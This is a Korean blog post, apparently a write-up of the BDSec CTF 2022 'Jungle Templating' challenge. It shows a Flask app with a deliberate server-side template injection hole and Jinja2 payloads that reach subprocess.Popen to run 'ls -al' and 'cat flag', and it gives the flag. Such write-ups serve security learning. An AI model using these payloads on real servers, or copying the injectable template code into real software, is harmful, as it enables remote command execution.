• [BDSec CTF 2022] Jungle Templating

    2022. 7. 22.

    by. hackintoanetwork


    이 문제는 소스코드가 주어진다. 소스코드는 아래와 같다. (엄청 간단한 문제라 코드 없이도 풀 수 있다.)

    from flask import *
    app = Flask(__name__)
    
    @app.route('/',methods=['GET', 'POST'])
    def base():
        person = ""
        if request.method == 'POST':
          if request.form['name']:
            person = request.form['name']
        palte = '''
        <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Secure Search</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
      </head>
      <body>
        <h1 class="container my-3">Hi, %s</h1>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
        <div class="container my-3">
            <form action="/" method="post">
                <div class="mb-3">
                  <label for="text" class="form-label">Type your name here:- </label>
                  <input type="text" class="form-control" name="name" id="text" value="">
                </div>
                <button type="submit" class="btn btn-primary">See magic</button>
              </form>
        </div>
    </body>
    </html>'''% person
        return render_template_string(palte)
    
    if __name__=="__main__":
    	app.run("0.0.0.0",port=5000,debug=False)

    문제에 들어가면 위와 같은 페이지가 보이는데 직감 상 ssti 문제 같아 {{7+7}}를 날려봤다.


    역시나 ssti 문제가 맞았다.

    {{7+7}}의 결과가 아래와 같이 나옴을 확인할 수 있고 SSTI 공격이 가능한 것을 볼 수 있다.


    ssti 취약점이 존재하는 경우 subprocess.Popen Class를 찾아 RCE를 할 수 있다.

    이 문제의 경우 352번 위치에 subprocess.Popen Class가 존재하였다.


    {{ ''.__class__.__mro__[1].__subclasses__()[352]('ls -al', shell=True, stdout=-1).communicate() }}

    ls -al로 현재 디렉터리에 flag 파일이 존재하는 걸 확인하였다.


    cat flag로 flag 파일을 읽어주도록 하자

    {{ ''.__class__.__mro__[1].__subclasses__()[352]('cat flag', shell=True, stdout=-1).communicate() }}

    Flag : BDSEC{Y3Y_7H1515_7H3_F146}

    'CTF > BDSec CTF 2022' 카테고리의 다른 글

    [BDSec CTF 2022] Awesome Calculator  (0) 2022.07.22
    [BDSec CTF 2022] Knight Squad Shop  (0) 2022.07.22
    [BDSec CTF 2022] Awesome Note Keeping  (0) 2022.07.22

    댓글